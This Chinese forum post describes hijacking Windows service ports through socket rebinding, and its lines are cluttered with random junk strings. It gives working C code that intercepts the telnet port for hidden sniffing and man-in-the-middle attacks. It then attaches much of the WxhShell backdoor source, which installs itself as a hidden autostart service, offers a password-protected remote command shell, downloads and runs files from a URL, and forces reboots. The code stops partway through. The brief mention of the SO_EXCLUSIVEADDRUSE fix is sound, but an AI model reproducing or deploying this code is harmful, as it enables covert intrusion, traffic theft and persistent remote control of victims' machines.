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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q_ykB8Ensa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GadQ \>  
4-lEo{IIM  
  saddr.sin_family = AF_INET; hF.9\X]  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tHJ#2X#Y.  
<._MNHC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y8D'V)B  
+ i!/J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d/j$_NQ&!  
qR--lvO  
  这意味着什么?意味着可以进行如下的攻击: 7fgA)dU:K  
wMT?p/9Blm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OGzth$7A  
uy9k^4Cqa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Yvcd(2  
]o6Or,ml  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XA-DJ  
;SEH|_/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HUfH/x3zj]  
??CtmH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3;u*_ ]N_  
k"LbB#Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a#nVRPU8m  
CVyqr_n65/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \8'fy\  
U:M?Ji5CY  
  #include /0uZ(F|>I  
  #include #e((F,1z  
  #include Bq#?g@V  
  #include    weEmUw Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rL w,?  
  int main() x24  
  { .>Gq/[c0|  
  WORD wVersionRequested; 5P ,{h  
  DWORD ret; l(-6pP5`  
  WSADATA wsaData; XnHcU=~q  
  BOOL val; h1^q};3!W\  
  SOCKADDR_IN saddr; >sv|  
  SOCKADDR_IN scaddr; -%I]Q9  
  int err; }:5AB93(  
  SOCKET s; ;3s_#L  
  SOCKET sc; L 5J=+k,  
  int caddsize; =cs;avtL  
  HANDLE mt; wyzj[PDS  
  DWORD tid;   Eb7qM.Q] &  
  wVersionRequested = MAKEWORD( 2, 2 ); #(mm6dj  
  err = WSAStartup( wVersionRequested, &wsaData ); s/ibj@h  
  if ( err != 0 ) { ;\DXRKR  
  printf("error!WSAStartup failed!\n"); TyY[8J|  
  return -1; Yc/Nz(m  
  } U N1HBW;  
  saddr.sin_family = AF_INET; Uvgv<OR`_  
   5 P9hm[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c{Nk"gEfRA  
yQ?N*'}$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <.s=)}'`P  
  saddr.sin_port = htons(23); /%\E2+6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X3NHQMI   
  { a;|C51GH  
  printf("error!socket failed!\n"); 7SE\(K=<%  
  return -1; qsk8#  
  } 9&q<6TZz  
  val = TRUE; rR@ t5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,F`:4=H%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D642}VD  
  { h@7S hp  
  printf("error!setsockopt failed!\n"); wXIsc;  
  return -1; 6TvlK*<r=  
  } e; 5 n.+m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M:z)uLDw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aT$q1!U`j2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oM/(&"  
#"&h'V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8;mn7XX  
  { Fy3&Emu  
  ret=GetLastError(); |#q5#@,  
  printf("error!bind failed!\n"); J)vP<.3:  
  return -1; -g(&5._,ZW  
  } uh*b[`e  
  listen(s,2); E}sj l  
  while(1) <"Z]S^>$  
  { L!x7]g,^  
  caddsize = sizeof(scaddr); T%A45BE V  
  //接受连接请求 :[ z=u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KY9sa/xO  
  if(sc!=INVALID_SOCKET) fo9O+e s  
  { Sd'!(M^k3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UKMr,{iy  
  if(mt==NULL) 4vq,W_n.hQ  
  { -(V]knIF  
  printf("Thread Creat Failed!\n"); PLf  
  break; p1 > D  
  } rC V&& 09  
  } 9oKRn c  
  CloseHandle(mt); JG @bl  
  } rT9<_<  
  closesocket(s); uUu]JDdz  
  WSACleanup(); ?W-J2tgss{  
  return 0; [0U!Y/?6lA  
  }   ;A7HEx  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ymkk"y.w  
  { 5<\&7P3y  
  SOCKET ss = (SOCKET)lpParam; Y0fX\6=h  
  SOCKET sc; xjB2?:/2  
  unsigned char buf[4096]; :SUPGaUJ"  
  SOCKADDR_IN saddr; 0 Po",\^  
  long num; 4vKp341B  
  DWORD val; Bh$ hgf.C  
  DWORD ret; 0i/l2&x*k]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ??0C"8:[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z? u\  
  saddr.sin_family = AF_INET; ]`)50\pdw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mk9'  
  saddr.sin_port = htons(23); pt.0%3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UhQ[|c  
  { ikf!7-,  
  printf("error!socket failed!\n"); W8+Daw1Nr  
  return -1; ,=whwl "tA  
  } c'B6E1}sx  
  val = 100; 3on]#/"1b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 58)`1p\c'  
  { M>^Ho2  
  ret = GetLastError(); {)nm {IV,  
  return -1; <cm,U)j2  
  } a]XQM$T$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c+chwU0W  
  { t &XH:w&j  
  ret = GetLastError(); )u?pqFH  
  return -1; +X6x CE  
  } P6V_cw$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8wz%e(  
  { !N:!x[5  
  printf("error!socket connect failed!\n"); +>mbBu!7  
  closesocket(sc); Lsv[@Rl  
  closesocket(ss); ]Tk3@jw+b  
  return -1; #ky]@vyO  
  } l6Wa~E  
  while(1) dYV'<  
  { "\M16N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?;Dh^mc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /4{ 6`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _|qJ)gD[  
  num = recv(ss,buf,4096,0); \x?q!(;G2  
  if(num>0) ,5^XjU3c=  
  send(sc,buf,num,0); ;/?M&rX  
  else if(num==0) 2>BWu  
  break; )7@f{E#w  
  num = recv(sc,buf,4096,0); Lt>"R! "x  
  if(num>0) d\&{Ev9v  
  send(ss,buf,num,0); o}H7;v8H  
  else if(num==0) `F5iZWW1  
  break; 8sb<$M$c  
  } #G2~#\  
  closesocket(ss); (#x <qi,T  
  closesocket(sc); .w=( G  
  return 0 ; Y/cnj n  
  } }pOL[$L  
W FVx7  
vW,dJ[N6jm  
========================================================== wz^Q,Od  
Ojqbj0E9  
下边附上一个代码,,WXhSHELL *y +T(73  
X+zFRL%  
========================================================== tSX<^VER7  
% C~2k?  
#include "stdafx.h" ~ED8]*H|`  
;|_aACina  
#include <stdio.h> 3aIP^I1  
#include <string.h> vf6_oX<Os  
#include <windows.h> |hBX"  
#include <winsock2.h> KW.*LoO  
#include <winsvc.h> /Y$UJt  
#include <urlmon.h> HE GMwRJG  
n,D~ whZx  
#pragma comment (lib, "Ws2_32.lib") y'\BpP  
#pragma comment (lib, "urlmon.lib") wBz?OnD/D  
rMRM*`Q2  
#define MAX_USER   100 // 最大客户端连接数 ^<X+t&!z  
#define BUF_SOCK   200 // sock buffer N~7xj?  
#define KEY_BUFF   255 // 输入 buffer !$&k@#v:  
K=,nX7Z5  
#define REBOOT     0   // 重启 )p*I(y  
#define SHUTDOWN   1   // 关机 VN!`@Ci/  
S+(TRIjk  
#define DEF_PORT   5000 // 监听端口 #'5|$ug[  
):"Z7~j=  
#define REG_LEN     16   // 注册表键长度 Q;r9>E!  
#define SVC_LEN     80   // NT服务名长度 x\taG.'zX  
(A!+$}UR  
// 从dll定义API *J[3f]PBmR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xs+pCK|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ia_I~ U$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Ju$A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K.3)m]dCl  
%:i; eUKR  
// wxhshell配置信息 ~uqpF-.  
struct WSCFG { WAr;g?Q8  
  int ws_port;         // 监听端口 t^eWFX  
  char ws_passstr[REG_LEN]; // 口令 "|P8L| @*  
  int ws_autoins;       // 安装标记, 1=yes 0=no irj{Or^k  
  char ws_regname[REG_LEN]; // 注册表键名 g/Q"%GN,  
  char ws_svcname[REG_LEN]; // 服务名 B*=m%NXf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #[ZF'9x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ik[aiz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ay?KE{Qs '  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B \?We\y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b[5$$_[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R@*mMWW,  
Ky"]L~8$  
}; * V;L|c  
oU/CXz?H  
// default Wxhshell configuration tQ!p<Q= $)  
struct WSCFG wscfg={DEF_PORT, q\+khy,k  
    "xuhuanlingzhe", OZ{YQ}t{^1  
    1, S$9>9!1>*  
    "Wxhshell", SN w3xO!;&  
    "Wxhshell", BET3tiHV  
            "WxhShell Service", B~S"1EE[  
    "Wrsky Windows CmdShell Service", fTQ_miAlP  
    "Please Input Your Password: ", IQn|0$':Z  
  1, kb"g  
  "http://www.wrsky.com/wxhshell.exe", VI83 3  
  "Wxhshell.exe" PL+r*M%ll  
    }; 9A|deETa-  
vo48\w7[  
// 消息定义模块 h#_KO-#.[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -+1_ 1!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7G,{BBB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1Z9_sd~/6  
char *msg_ws_ext="\n\rExit."; \#1*r'V8  
char *msg_ws_end="\n\rQuit."; ]/byz_7]  
char *msg_ws_boot="\n\rReboot..."; >`\f,yq l6  
char *msg_ws_poff="\n\rShutdown..."; S b0p?  
char *msg_ws_down="\n\rSave to "; y3!r;>2k=  
i%~^3/K  
char *msg_ws_err="\n\rErr!"; 4sU*UePr  
char *msg_ws_ok="\n\rOK!"; j?!BHNs  
~Sq!P  
char ExeFile[MAX_PATH]; &)(>e}es  
int nUser = 0; :X1~  
HANDLE handles[MAX_USER]; +{b!,D3sa*  
int OsIsNt; )8BGN'jyi  
 m}t.E  
SERVICE_STATUS       serviceStatus; _8*}S=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~!PAs_O  
E0F8FR'  
// 函数声明 k7o49Y(#  
int Install(void); OnD!*jy  
int Uninstall(void); (_:k s  
int DownloadFile(char *sURL, SOCKET wsh); QU`M5{#  
int Boot(int flag); NO(^P+s  
void HideProc(void); %BdQ.\4DS  
int GetOsVer(void); &b!L$@6  
int Wxhshell(SOCKET wsl); !m7`E  
void TalkWithClient(void *cs); ].E89_|O  
int CmdShell(SOCKET sock); jZRf{  
int StartFromService(void); FG-v71!h#  
int StartWxhshell(LPSTR lpCmdLine); q_0So}  
;3\oU$'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +ZuT\P&kR5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fW /G_  
ixK& E#  
// 数据结构和表定义 XUI9)Ne  
SERVICE_TABLE_ENTRY DispatchTable[] = $-HP5Kj(k-  
{ F0 yvV6;  
{wscfg.ws_svcname, NTServiceMain}, g43j-[j)  
{NULL, NULL} 1 _A B; ^  
}; _G$SA-W(  
pN\YAc*@:  
// 自我安装 hLs<g!*O  
int Install(void) x2q6y  
{ $0uh8RB  
  char svExeFile[MAX_PATH]; RK7vR~kf<  
  HKEY key; wjJM\BKr`  
  strcpy(svExeFile,ExeFile); wR7Ja cKv  
C*+gQeK  
// 如果是win9x系统,修改注册表设为自启动 L5+X&  
if(!OsIsNt) { R`IFKmA EJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nFRU-D$7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xv1 SRP#  
  RegCloseKey(key); ,F&TSzH[@v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y]zy=8q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DC&3=Nd  
  RegCloseKey(key); pQQN8Y~^Y  
  return 0; <)hA? 3J  
    } |2i=oX(r|  
  } wiwAdYEQ\  
} dC&OjBQ  
else { qh|t}#DrR  
6Kl%|VrJs  
// 如果是NT以上系统,安装为系统服务 \a_75^2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e(e_p#  
if (schSCManager!=0) x.5!F2$  
{ LB(I^  
  SC_HANDLE schService = CreateService \&{a/e2:S  
  ( M2pe*z  
  schSCManager, >9WJa5{  
  wscfg.ws_svcname, UN FQ`L  
  wscfg.ws_svcdisp, Q9i&]V[`  
  SERVICE_ALL_ACCESS, qocN:Of1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E{Kc$,y  
  SERVICE_AUTO_START, L|?$F*bs  
  SERVICE_ERROR_NORMAL, _H,xnh#nZ  
  svExeFile, >MTrq%.  
  NULL, Ofx]  
  NULL, kp6{QKDj&  
  NULL, 3/aK#TjK  
  NULL, 1*x;jO>Hk  
  NULL )S:,q3gxJ  
  ); eD(;W n  
  if (schService!=0) bv&#ay 7  
  { O/(QLgUr  
  CloseServiceHandle(schService); :V9%R~h/  
  CloseServiceHandle(schSCManager); D(E3{\*R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~pZ<VH;h  
  strcat(svExeFile,wscfg.ws_svcname); _/S qw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xj ?#]GR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p#\JKx  
  RegCloseKey(key); 0[# zn  
  return 0; _#dBcEH[  
    } s%& /Zt  
  } KT 4h3D`,  
  CloseServiceHandle(schSCManager); }Wk^7[Y  
} O(R1D/A[  
} TR<M3,RG#%  
G!u+~{g  
return 1; {Vw\#/,  
} 6>yfm4o  
~nVO%IxM4J  
// 自我卸载 azs lNL  
int Uninstall(void) gNWTzz<[f>  
{ [%0{7pz}  
  HKEY key; rN3qTp  
\&6^c=2=  
if(!OsIsNt) { l.@v@T(/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #`HY"-7m_  
  RegDeleteValue(key,wscfg.ws_regname); 9a6ij*#  
  RegCloseKey(key); V 6*ohC:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F3?PlH:Y  
  RegDeleteValue(key,wscfg.ws_regname);  kS7`g A  
  RegCloseKey(key); QX`T-)T e  
  return 0; nxjP4d>  
  } hZ[(Ik]*Zd  
} Ah?,9r=U  
} ^t$xR_  
else { @^2?97i c  
O x),jc[/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =d*5TyAcu  
if (schSCManager!=0) t=;P1d?E;  
{ 8ofKj:W]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rjo1  
  if (schService!=0) N^TE ;BM  
  { @ Y&UP  
  if(DeleteService(schService)!=0) { TwI'}J|w  
  CloseServiceHandle(schService); $(r/N"6)O2  
  CloseServiceHandle(schSCManager); V0/PjD,jP  
  return 0; W5^<4Ya!  
  } ;:]#Isq  
  CloseServiceHandle(schService); 3J_B uMV  
  } (-[73v-w  
  CloseServiceHandle(schSCManager); 4Zn"K}q  
} .N>Th/K8  
} vTl7x  
r$cq2pkX  
return 1; 4G_At  
} 3FgTM(  
qRc Y(mb  
// 从指定url下载文件 Q H 57[Yg  
int DownloadFile(char *sURL, SOCKET wsh) >Y6iLQ$X  
{ "g%=FH3e  
  HRESULT hr; &cSZ?0R  
char seps[]= "/"; RYyM;<9F  
char *token; h]jy):9L  
char *file; a;h.I}*]  
char myURL[MAX_PATH]; V#,jUH|  
char myFILE[MAX_PATH]; 5hvg]w95;  
UOa n  
strcpy(myURL,sURL); :pCv!g2  
  token=strtok(myURL,seps); P#l"`C /  
  while(token!=NULL) (3Dz'X  
  { o()No_.8H  
    file=token; [e`e bn[C  
  token=strtok(NULL,seps); VsQ~Y,7  
  } M~ku4ZP  
NiSH$ MJ_  
GetCurrentDirectory(MAX_PATH,myFILE); [vTk*#Cl4  
strcat(myFILE, "\\"); ~wFiq)v(  
strcat(myFILE, file); 7t3ps  
  send(wsh,myFILE,strlen(myFILE),0); DLH|y%"  
send(wsh,"...",3,0); vACJE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \(&UDG$  
  if(hr==S_OK) GWa:C\YK  
return 0; ?0x=ascP  
else -d4|EtN  
return 1;  va [r~  
928uGo5  
} l{mC|8X  
EdTR]}8  
// 系统电源模块 B2^*Sr[  
int Boot(int flag) bV&"jjEx  
{ 6qd?&.=r  
  HANDLE hToken; =mYwO=:D  
  TOKEN_PRIVILEGES tkp; Y=ksrs>w  
80%L!x|  
  if(OsIsNt) { e X{#F gFc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2_Gb K-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WNSY@q  
    tkp.PrivilegeCount = 1; gVI{eoJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n09P!],Xa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eL_Il.:  
if(flag==REBOOT) { |" ag'h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )?;+<,  
  return 0; V [Wo9Y\  
} a7}O.NDf  
else { yHf:/8Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~7>D>!!  
  return 0; O_ d[{e=5`  
} lw43|_'G-t  
  } %j/}e>$"Nk  
  else { lSG]{  
if(flag==REBOOT) { a];1)zVA6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ku?1QDhrF*  
  return 0; ;~GBD]  
} 1<;VD0XX  
else { slQEAqG)B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UuCRQNH  
  return 0; 2QgD<  
} 9/h[(qvT  
} >0JC u^9  
;R]~9Aan  
return 1; k`B S{,=  
} _t>[gB,  
d*_rJE}B  
// win9x进程隐藏模块 ^#!\VGnL  
void HideProc(void) y& (pt!I  
{ ?|Ey WAL  
UaB2vuL*=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j@R"AP}  
  if ( hKernel != NULL ) * .g[vCy  
  { oFKTBH:I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xEg@Y"NQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NwN3T]W  
    FreeLibrary(hKernel); SQJ +C%   
  } G_`Ae%'h  
,WBKN)%u  
return; iGN6'm`  
} EE-wi@  
n.XgGT=L  
// 获取操作系统版本 ,uPN\`.u8  
int GetOsVer(void) >P ~j@Lv  
{ P)O:lYX  
  OSVERSIONINFO winfo; ^Rh}[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * !9=?  
  GetVersionEx(&winfo); L=dQ,yA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F#^/=AR'  
  return 1; 7c!#e=W@B  
  else *j<{3$6Ii  
  return 0; ?}U?Q7vx@@  
} w:ASB>,!  
ZgfhNI\  
// 客户端句柄模块 O1 !YHo  
int Wxhshell(SOCKET wsl) mD%IHzbn H  
{ [Z^26/5a  
  SOCKET wsh; 7Vu f4Z5  
  struct sockaddr_in client; ~ga WZQXyu  
  DWORD myID; iB5q"hoZC  
KQ^|prN?y  
  while(nUser<MAX_USER) QjKh#sU&  
{ urg^>n4V]  
  int nSize=sizeof(client); (Q=:ln;kM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bg5i+a,?  
  if(wsh==INVALID_SOCKET) return 1; g> m)XY  
&3Lhb}m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V\AY=u  
if(handles[nUser]==0) 3WM*4   
  closesocket(wsh); 1a mEQ  
else ~UHjc0  
  nUser++; B`YD>oCN  
  } yxi&80$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Wndp%  
j`#H%2W\;  
  return 0; %Fx ^"  
} yqH9*&KH{  
g_J QW(_  
// 关闭 socket gvr&7=p  
void CloseIt(SOCKET wsh) !>f:wk2  
{ ~14|y|\/  
closesocket(wsh); <"8F=3:uk  
nUser--; 4"UH~A;^  
ExitThread(0); 2f1Q&S  
} cl`7|;v|?  
y t7>,  
// 客户端请求句柄 jO9! :L>b`  
void TalkWithClient(void *cs) "ruYMSpU  
{ 3 2"f'{  
ilyF1=bp  
  SOCKET wsh=(SOCKET)cs; ?_r{G7|D  
  char pwd[SVC_LEN]; uw/N`u  
  char cmd[KEY_BUFF]; 4C )sjk?m  
char chr[1]; 3Kc9*]D  
int i,j; hiv {A9a?  
$)~:H-  
  while (nUser < MAX_USER) { ,& wd  
_SkiO }c8  
if(wscfg.ws_passstr) { 9Vl}f^Gn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {|@}xrB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wR,}#m,  
  //ZeroMemory(pwd,KEY_BUFF); ' 6)Yf}I  
      i=0; O{\%{XrW  
  while(i<SVC_LEN) { W>qu~ak?x  
j3H_g ^  
  // 设置超时 z]KJ4  
  fd_set FdRead; X"9N<)C  
  struct timeval TimeOut; ~dzD7lG6  
  FD_ZERO(&FdRead); xm5?C>vu(  
  FD_SET(wsh,&FdRead); +d?|R5{3  
  TimeOut.tv_sec=8; KyQTrl.qdl  
  TimeOut.tv_usec=0; 5$Kd<ky  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OT(0~,.GJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y} is=h3  
u8t|!pMF8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yf/e(nV  
  pwd=chr[0]; +43~4_Oj  
  if(chr[0]==0xd || chr[0]==0xa) { ^Ku]8/ga  
  pwd=0; l`uMtv/Wp  
  break; yo(MJ^=d  
  } O hRf&5u$  
  i++; /r2S1"(q  
    } YQtq?&0Ct  
]')y(_{  
  // 如果是非法用户,关闭 socket lr[T+nQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mnBTZ/ZjS  
} }%AfZ 2g;h  
A6J:!sY4A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |ICn/r~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >&ZlC E  
`7'^y  
while(1) { 2h#.:!/SMw  
T 1R~^x1  
  ZeroMemory(cmd,KEY_BUFF); IuA4eDr^Y%  
Onh R`  
      // 自动支持客户端 telnet标准   ]*gf$D  
  j=0; q/Vl>t  
  while(j<KEY_BUFF) { ^)GaVL^"5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); on"ENT  
  cmd[j]=chr[0]; aOd|;Z  
  if(chr[0]==0xa || chr[0]==0xd) { KJv%t_4'F  
  cmd[j]=0; !@wUAR Q  
  break; {$5g29  
  } w{u,YM(Q  
  j++; f$9|qfW'$  
    } 4q:8<*W=  
J}+N\V~  
  // 下载文件 ;(jL`L F  
  if(strstr(cmd,"http://")) { }K`KoM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j8 `7)^  
  if(DownloadFile(cmd,wsh)) UbGnU_}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5z@A/Z/  
  else hW9!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d[5v A/8O  
  } [La}h2gz  
  else { D?8(n=#[  
Z {:;LC  
    switch(cmd[0]) { o3eaNYa  
  (+0(A777M  
  // 帮助 zg@i7T  
  case '?': { .o5K X*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VbMud]40F  
    break; P-$ ,  
  } ^^*L;b>I  
  // 安装 i(.V`G=  
  case 'i': { T8)X?>CIW  
    if(Install()) 3$Vx8:Rhdn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -ah)/5j  
    else S:Jg#1rww-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !`4ie  
    break; 1RX-`"^+  
    } ,3c25.,*  
  // 卸载 /er{sKVX<  
  case 'r': { Q[aF"5h%  
    if(Uninstall()) yPe9KN_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6V ncr}  
    else G<k.d"<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mPqK k  
    break; :-<30LS $  
    } n qx0#_K-E  
  // 显示 wxhshell 所在路径 63_#*6Pv28  
  case 'p': { jUl_ToX  
    char svExeFile[MAX_PATH]; 5''k|B>  
    strcpy(svExeFile,"\n\r"); cH$( *k9%M  
      strcat(svExeFile,ExeFile); 7cWeB5 e?O  
        send(wsh,svExeFile,strlen(svExeFile),0); [i.c;'Wy/  
    break; W`c$2KS?DO  
    } N 3O!8A_  
  // 重启 _?y3&4N)  
  case 'b': { |Kjfh};-C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8B-mZFXpK  
    if(Boot(REBOOT)) n7Bv~?DM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mF!4*k  
    else { %Tu(>vnuj  
    closesocket(wsh); H3vnc\d~  
    ExitThread(0); 2xiE#l-V2  
    } B2*>7 kc_s  
    break; n @R/zy  
    } lZe-A/E  
  // 关机 9o6[4Q}  
